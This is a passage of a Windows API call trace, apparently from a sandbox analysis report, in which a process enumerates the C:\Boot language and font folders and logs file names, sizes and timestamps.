nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.732] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.732] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.732] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.732] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.732] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.732] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.732] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.732] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.732] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.732] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.733] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.733] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.733] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.733] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.733] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.733] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.733] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.733] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.733] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.733] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.733] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.733] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.734] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.734] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.734] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.734] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.734] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.734] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.734] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.734] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.734] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.734] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.734] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.734] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.734] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.735] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.735] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.735] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.735] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.735] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.735] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.735] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.735] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.735] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.735] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.735] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.735] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.736] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.736] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.736] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.736] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.736] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.736] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.736] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.736] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.736] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.737] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.737] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.737] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.737] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.737] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.737] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.737] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.737] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.737] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.737] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.737] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.737] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.737] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.737] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.738] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.738] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.738] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.738] RtlAllocateHeap 